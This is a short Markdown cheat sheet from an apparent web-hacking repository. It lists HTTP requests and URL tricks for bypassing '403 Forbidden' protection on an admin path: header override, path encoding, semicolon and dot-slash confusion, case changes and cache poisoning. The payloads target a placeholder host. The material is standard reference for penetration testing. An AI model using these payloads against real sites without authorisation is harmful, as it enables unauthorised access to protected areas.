vos9/Web_Hacking
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
main
Web_Hacking/403 Bypass.md
Mehdi fb9bf3e71f
Update
2023-09-15 16:18:51 +03:30

1.1 KiB
Raw Permalink Blame History

Bypass 403 (Forbidden)

Using X-Original-URL header

# Normal Request (403)
GET /admin HTTP/1.1
Host: target.com

# Try this to bypass (200)
GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin

Appending %2e after the first slash

# Normal Request (403)
http://target.com/admin

# Try this to bypass (200)
http://target.com/%2e/admin

Try add dot . slash / and semicolon ; in the URL

# Normal Request (403)
http://target.com/admin

# Try this to bypass (200)
http://target.com/secret/.
http://target.com//secret//
http://target.com/./secret/..
http://target.com/;/secret
http://target.com/.;/secret
http://target.com//;//secret

Add ..;/ after the directory name

# Normal Request (403)
http://target.com/admin

# Try this to bypass (200)
http://target.com/admin..;/

Try to uppercase the alphabet in the url

# Normal Request (403)
http://target.com/admin

# Try this to bypass (200)
http://target.com/aDmIN

Via Web Cache Poisoning

GET /anything HTTP/1.1
Host: victim.com
X­-Original-­URL: /admin